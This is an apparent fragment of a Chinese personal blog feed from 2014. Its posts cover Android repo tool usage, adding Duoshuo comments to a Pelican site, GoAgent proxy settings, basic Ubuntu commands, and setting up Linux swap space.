&lt;p&gt;现在使用的git库是将由repo管理266个小git合并成一个git库导入
目前导入的repo是将项目定制化的内容取出，拆成由repo管理45个小git；&lt;/p&gt;
&lt;p&gt;Repo通过&lt;code&gt;manifest.xml&lt;/code&gt;来同步代码，xml文件内容如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;manifest&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;
&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;remote fetch=&amp;quot;ssh://gitserver&amp;quot; name=&amp;quot;origin&amp;quot; review=&amp;quot;http://gerrit:8080&amp;quot;/&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;  
&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;default revision=“master” remote=“origin” /&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;     
&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;project path=&amp;quot;build&amp;quot; name=&amp;quot;platform/build&amp;quot;/&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;
&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;project path=&amp;quot;abi/cpp&amp;quot; name=&amp;quot;platform/abi/cpp&amp;quot; /&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;
&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;project path=&amp;quot;bionic&amp;quot; name=&amp;quot;platform/bionic&amp;quot; /&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;
&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;project path=&amp;quot;bootable/bootloader/lk&amp;quot; name=&amp;quot;kernel/lk&amp;quot; /&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;h1&gt;Repo初始化&lt;/h1&gt;
&lt;h2&gt;Repo脚本获取（仅针对第一次使用）&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;repo脚本已导入git库，库名为git-repo.git&lt;/li&gt;
&lt;li&gt;克隆repo库&lt;/li&gt;
&lt;li&gt;git clone gitserver:git-repo&lt;/li&gt;
&lt;li&gt;将git-repo库中的repo脚本拷贝到～/bin目录&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;增加权限&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;PATH=~/bin:$PATH
chmod a+x ~/bin/repo
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Repo设置成功后，输入&lt;code&gt;repo&lt;/code&gt;会提示运行&lt;code&gt;repo init&lt;/code&gt;进行初始化&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;yangfei@YYRD-4:~$ repo　error: repo is not installed.  Use &amp;quot;repo init&amp;quot; to install it here.
&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;Repo初始化&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt; Repo初始化，会在根目录 建立.repo
&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;Repo同步&lt;/h2&gt;
&lt;p&gt;同步repo代码&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Repo sync
&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;初始化分支&lt;/h2&gt;
&lt;p&gt;Sync成功后，所有的git库都处于 no branch状态，不能进行操作&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;yangfei@YYRD-4:~/test$ repo branch

         (no branches)
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;初化分支&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Repo start master –all&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;yangfei@YYRD-4:~/test$ repo start master --all

   Starting master: 100% (45/45), done.
&lt;/pre&gt;&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;--all意思为对所有项目操作，如果对某个项目操作如下&lt;/p&gt;
&lt;p&gt;Repo start master(分支名) cmd1(项目名)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Repo使用（分支初始化之后 ，操作同git）&lt;/h2&gt;
&lt;p&gt;Repo初如化分支后，可切入各git库进行git的操作&lt;/p&gt;
&lt;h1&gt;Repo常用命令&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Repo forall –c git …..&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;对由repo管理的git库进行操作，
如repo forall –c git checkout  45451
所有库检出45451分支与远程45451分支对应（若无，则跳过）&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Repo checkout &amp;lt;branchname[projectname] &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;作用：等同于带项目参数的git checkout&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Repo branch [projectname]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;作用：读取项目分支的情况&lt;/p&gt;
&lt;p&gt;Repo abandon &amp;lt;branchname[projectname]&lt;/p&gt;
&lt;p&gt;作用：删除指定项目的指定分支,强制删除不管是否有合并,等同git branch –D&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Repo version&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;作用：显示repo版本&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Repo status [projectname] &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;作用：显示分支及修改情况&lt;/p&gt;
&lt;hr&gt;
&lt;blockquote&gt;
&lt;p&gt;转载：&lt;a href="http://blog.csdn.net/hellofeiya/article/details/8560321"&gt;http://blog.csdn.net/hellofeiya/article/details/8560321&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;</content><category term="November"></category><category term="Repo"></category><category term="Android"></category></entry><entry><title>【2014-11-1】Pelican添加多说评论</title><link href="https://blog.chenjia.me/articles/141102-011500.html" rel="alternate"></link><published>2014-11-02T01:15:00+08:00</published><updated>2014-11-02T01:15:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-11-02:/articles/141102-011500.html</id><summary type="html">&lt;h1&gt;多说评论&lt;/h1&gt;
&lt;p&gt;据说是现在大陆很流行的一个评论~关键是~好多人都在用~不过他们用的是HEXO …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;多说评论&lt;/h1&gt;
&lt;p&gt;据说是现在大陆很流行的一个评论~关键是~好多人都在用~不过他们用的是HEXO~那我们就转移到Pelican上来吧~&lt;/p&gt;
&lt;h1&gt;开始添加多说评论&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;多说&lt;a href="http://duoshuo.com/"&gt;http://duoshuo.com/&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;注册账号&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;注册多说账号&lt;/li&gt;
&lt;li&gt;绑定网站信息&lt;/li&gt;
&lt;li&gt;获取js代码，比如这样&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;lt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;!--&lt;/span&gt; &lt;span class="nx"&gt;多说评论框&lt;/span&gt; &lt;span class="nx"&gt;start&lt;/span&gt; &lt;span class="o"&gt;--&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;gt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;lt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt; &lt;span class="kr"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;ds-thread&amp;quot;&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;thread&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;请将此处替换成文章在你的站点中的ID&amp;quot;&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;请替换成文章的标题&amp;quot;&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;请替换成文章的网址&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;gt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;lt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;/div&amp;amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;lt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;!--&lt;/span&gt; &lt;span class="nx"&gt;多说评论框&lt;/span&gt; &lt;span class="nx"&gt;end&lt;/span&gt; &lt;span class="o"&gt;--&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;gt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;lt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;!--&lt;/span&gt; &lt;span class="nx"&gt;多说公共JS代码&lt;/span&gt; &lt;span class="nx"&gt;start&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;一个网页只需插入一次&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;--&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;gt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;lt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt; &lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;text/javascript&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;gt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;duoshuoQuery&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;short_name&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;chenjia&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;ds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;script&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;ds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;text/javascript&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;ds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;async&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;ds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;protocol&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;https:&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;https:&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;http:&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;//static.duoshuo.com/embed.js&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;ds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;charset&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;UTF-8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementsByTagName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;head&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; 
     &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementsByTagName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;body&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]).&lt;/span&gt;&lt;span class="nx"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ds&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;lt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;/script&amp;amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;lt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;!--&lt;/span&gt; &lt;span class="nx"&gt;多说公共JS代码&lt;/span&gt; &lt;span class="nx"&gt;end&lt;/span&gt; &lt;span class="o"&gt;--&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;gt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;修改主题&lt;/h2&gt;
&lt;p&gt;一般评论的网页模板应该在主题目录下的&lt;code&gt;\templates\disqus.html&lt;/code&gt;中&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;注释掉原来的js代码~不然会有两个评论框。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;!-- 
&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;div id=&amp;quot;disqus_thread&amp;quot;&lt;span class="ni"&gt;&amp;amp;gt;&amp;amp;lt;&lt;/span&gt;/div&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;
&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;script type=&amp;quot;text/javascript&amp;quot;&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;
var disqus_shortname = &amp;#39;{{ DISQUS_SITENAME }}&amp;#39;; 
var disqus_title = &amp;#39;{{ article.title }}&amp;#39;;

(function() {
    var dsq = document.createElement(&amp;#39;script&amp;#39;); dsq.type = &amp;#39;text/javascript&amp;#39;; dsq.async = true;
    dsq.src = &amp;#39;http://&amp;#39; + disqus_shortname + &amp;#39;.disqus.com/embed.js&amp;#39;;
    (document.getElementsByTagName(&amp;#39;head&amp;#39;)[0] || document.getElementsByTagName(&amp;#39;body&amp;#39;)[0]).appendChild(dsq);
})();
&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;/script&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;
--&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将js脚本复制到对应区域&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;第一个字符串修改为&lt;code&gt;data-thread-key="{{ article.slug }}"&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;第二个字符串修改为&lt;code&gt;data-title="{{ article.title }}"&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;第三个字符串修改为&lt;code&gt;data-url="{{ SITEURL }}/{{ article.url }}"&lt;/code&gt;
+&lt;blockquote&gt;
&lt;p&gt;这样第一个我们用的是文章的slug，一般来说没定义的话应该是文章标题的拼音~基本没有两个相同的文章名吧~&lt;/p&gt;
&lt;p&gt;第二个用的是文字的标题~这个就没什么多说的啦&lt;/p&gt;
&lt;p&gt;第三个用的就是文章的网址，也就是当前页面的网址~&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;然后更新主题，重新生成文章就好！&lt;/p&gt;
&lt;h2&gt;修改多说设置&lt;/h2&gt;
&lt;p&gt;我们可以在多说的网站管理里面修改评论框的各种属性~比如主题神马的~我就修改了微博的appkey让分享的时候可以显示来自我的网站~啦啦啦~&lt;/p&gt;</content><category term="Daily"></category><category term="November"></category><category term="Pelican"></category></entry><entry><title>【2014-10-28】Goagent的妙用</title><link href="https://blog.chenjia.me/articles/141028-202300.html" rel="alternate"></link><published>2014-10-28T20:23:00+08:00</published><updated>2014-11-01T22:02:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-10-28:/articles/141028-202300.html</id><summary type="html">&lt;h1&gt;什么是Goagent&lt;/h1&gt;
&lt;p&gt;goagent是一个google的开源项目，可以访问&lt;a href="http://code.google.com/p/goagent"&gt;http://code …&lt;/a&gt;&lt;/p&gt;</summary><content type="html">&lt;h1&gt;什么是Goagent&lt;/h1&gt;
&lt;p&gt;goagent是一个google的开源项目，可以访问&lt;a href="http://code.google.com/p/goagent"&gt;http://code.google.com/p/goagent&lt;/a&gt;（需要翻墙），现在应该移植到Github去了（担心Github的安全）&lt;/p&gt;
&lt;p&gt;其目的很明显，就是提供一个安全的上网环境。&lt;/p&gt;
&lt;p&gt;可能很多人都认为他仅仅能翻墙，而且还不稳定。那你们就只是知道一些皮毛~&lt;/p&gt;
&lt;h1&gt;打造自己的Goagent&lt;/h1&gt;
&lt;h2&gt;配置基本的Goagent&lt;/h2&gt;
&lt;p&gt;这个步骤请自行百度，网上教程一坨一坨的~我也不浪费时间啦~&lt;/p&gt;
&lt;h2&gt;让Goagent走IPV6通道&lt;/h2&gt;
&lt;p&gt;众所周知，ipv6的速度快，而且安全稳定。goagent支持使用IPv6网络，只需修改&lt;code&gt;proxy.ini&lt;/code&gt;文件中的&lt;code&gt;ipv6 = 1&lt;/code&gt;就好了~&lt;/p&gt;
&lt;p&gt;google ipv6的地址屏蔽的速度很慢，所以只有全部爆红再去项目主页更新一下配置就好啦~&lt;/p&gt;
&lt;h2&gt;让自己的Goagent局域网/外网可以访问&lt;/h2&gt;
&lt;p&gt;修改&lt;code&gt;proxy.ini&lt;/code&gt;文件中的    &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;[listen]&lt;/span&gt;
&lt;span class="na"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;127.0.0.1&lt;/span&gt;
&lt;span class="na"&gt;改为&lt;/span&gt;
&lt;span class="k"&gt;[listen]&lt;/span&gt;
&lt;span class="na"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;0.0.0.0&lt;/span&gt;
&lt;span class="na"&gt;即可&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;科学上网，将一些国内能访问的网站不通过Goagent&lt;/h2&gt;
&lt;p&gt;一般情况下我们使用的是HTTP代理，所以大家一般都是用&lt;code&gt;127.0.0.1:8087&lt;/code&gt;来上网&lt;/p&gt;
&lt;p&gt;其实我们可以在sharpswitch等地方中选择PAC方式，然后在里面填上地址&lt;code&gt;127.0.0.1:8086/proxy.pac&lt;/code&gt;就ok啦~&lt;/p&gt;
&lt;p&gt;我们可以自己修改该目录下的proxy.pac文件来添加自己的规则~&lt;/p&gt;
&lt;p&gt;英语好一点就知道怎么添加啦~模仿is right~&lt;/p&gt;
&lt;h2&gt;安全上WiFi&lt;/h2&gt;
&lt;p&gt;大家都知道现在的共用WiFi是不安全的，然后有人就说用VPN 来解决，其实在不是很不重要也不是很重要的时候我们可以用Goagent来解决这个问题。&lt;/p&gt;
&lt;p&gt;将手机的数据包发给自己的配置好的goagent地址，然后通过这个地址进行上网，是可以保护自己的数据不受到植入的。（亲测成功）&lt;/p&gt;
&lt;h3&gt;android手机&lt;/h3&gt;
&lt;p&gt;在
- 设置
- WLAN
- 选择连接的无线
- 修改网络或者高级设置之类的
- 显示高级选项
- 代理设置为手动
- 然后代理服务器主机名和端口填写你电脑的ip加上端口
- 一般在goagent的那个窗口里面会有（默认是&lt;code&gt;ip:8087&lt;/code&gt;）
- 保存&lt;/p&gt;
&lt;p&gt;然后就OK啦~&lt;/p&gt;
&lt;h3&gt;iPHone&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;设置&lt;/li&gt;
&lt;li&gt;Wi-Fi&lt;/li&gt;
&lt;li&gt;连接的无线右边的感叹号&lt;/li&gt;
&lt;li&gt;下滑到最底下，有HTTP代理&lt;/li&gt;
&lt;li&gt;选择手动&lt;/li&gt;
&lt;li&gt;服务器填写 电脑的ip&lt;/li&gt;
&lt;li&gt;端口填写端口号，默认8087&lt;/li&gt;
&lt;li&gt;鉴定关闭&lt;/li&gt;
&lt;li&gt;保存。&lt;/li&gt;
&lt;/ul&gt;</content><category term="Daily"></category><category term="October"></category><category term="Security"></category></entry><entry><title>【2014-10-18】Ubuntu中的一些小技巧</title><link href="https://blog.chenjia.me/articles/141018-220300.html" rel="alternate"></link><published>2014-10-18T22:03:00+08:00</published><updated>2014-10-18T22:03:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-10-18:/articles/141018-220300.html</id><summary type="html">&lt;h1&gt;命令&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;top&lt;/code&gt;命令：进程查看&lt;/li&gt;
&lt;li&gt;&lt;code&gt;netstat …&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;</summary><content type="html">&lt;h1&gt;命令&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;top&lt;/code&gt;命令：进程查看&lt;/li&gt;
&lt;li&gt;&lt;code&gt;netstat&lt;/code&gt; 网络查看&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ps aux&lt;/code&gt; 全部进程&lt;/li&gt;
&lt;li&gt;学会使用&lt;code&gt;|grep 表达式&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;。。。&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;tips&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;使用交换区&lt;/li&gt;
&lt;li&gt;注意文件权限&lt;/li&gt;
&lt;li&gt;vsftp&lt;/li&gt;
&lt;li&gt;更换软件源&lt;/li&gt;
&lt;/ul&gt;</content><category term="October"></category><category term="Linux"></category></entry><entry><title>添加Ubuntu的swap分区增加虚拟内存</title><link href="https://blog.chenjia.me/articles/141016-124000.html" rel="alternate"></link><published>2014-10-16T12:40:00+08:00</published><updated>2014-10-16T12:40:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-10-16:/articles/141016-124000.html</id><summary type="html">&lt;h1&gt;需求&lt;/h1&gt;
&lt;p&gt;为什么今天会写这个呢，因为在编译android4.4的时候发现内存不足。。我可以4G内存啊 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;需求&lt;/h1&gt;
&lt;p&gt;为什么今天会写这个呢，因为在编译android4.4的时候发现内存不足。。我可以4G内存啊~&lt;/p&gt;
&lt;p&gt;然后发现我在安装ubuntu的时候没有配置swap分区，就是木有虚拟内存。。&lt;/p&gt;
&lt;p&gt;那不想重装，就找了这篇文章&lt;/p&gt;
&lt;p&gt;来源：&lt;a href="http://blog.sina.com.cn/s/blog_6954b9a901016a0b.html"&gt;http://blog.sina.com.cn/s/blog_6954b9a901016a0b.html&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;内容&lt;/h1&gt;
&lt;h2&gt;mkswap 把一个分区格式化成为swap交换区&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;[root@localhost]# mkswap /dev/sda6 注：创建此分区为swap 交换分区
[root@localhost]# swapon /dev/sda6 注：加载交换分区；
[root@localhost]# swapoff /dev/sda6 注：关闭交换分区；
&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;查看系统已经加载的swap交换分区&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;[root@localhost]# swapon /dev/sda6 注：加载交换分区；
[root@localhost]# swapon -s
Filename Type Size Used Priority
/dev/hda7 partition 787144 0 -1
/dev/sda6 partition 225144 0 -3
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;如果让swap开机就加载，应该改 &lt;code&gt;/etc/fstab&lt;/code&gt;文件，加类似如下一行；
&lt;code&gt;/dev/sda6 swap swap defaults 0 0&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;注：把此行中的&lt;code&gt;/dev/hda7&lt;/code&gt; 改为您的交换分区就行；
或者把命令行直接写入&lt;code&gt;/etc/rc.d/rc.local&lt;/code&gt;中也行；
  &lt;code&gt;swapon /dev/sda6&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;如果您的硬盘不能再分区，您可以创建一个swap文件&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;[root@localhost]# dd if=/dev/zero of=/tmp/swap bs=1024 count=524288
&lt;/pre&gt;&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;注：创建一个大小为512M 的swap 文件，在/tmp目录中；您可以根据自己的需要的大小来创建swap 文
件；&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;读入了 524288+0 个块
输出了 524288+0 个块
[root@localhost]# mkswap /tmp/swap 注：把/tmp/swap 文件，创建成swap 交换区
[root@localhost]# sync
[root@localhost]# swapon /tmp/swap 注：挂载swap 
[root@localhost]# vim /etc/fstab
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;文件末尾添加&lt;code&gt;/tmp/swap none swap rw 0 1&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;[root@localhost]# swapon -s
Filename Type Size Used Priority
/dev/hda7 partition 787144 888 -1
/tmp/swap file 524280 0 -2
&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;如何关闭交换分区&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;1.[root@localhost]# swapoff swap1
2.删除/etc/fstab中的记录即可
&lt;/pre&gt;&lt;/div&gt;


&lt;h1&gt;最后&lt;/h1&gt;
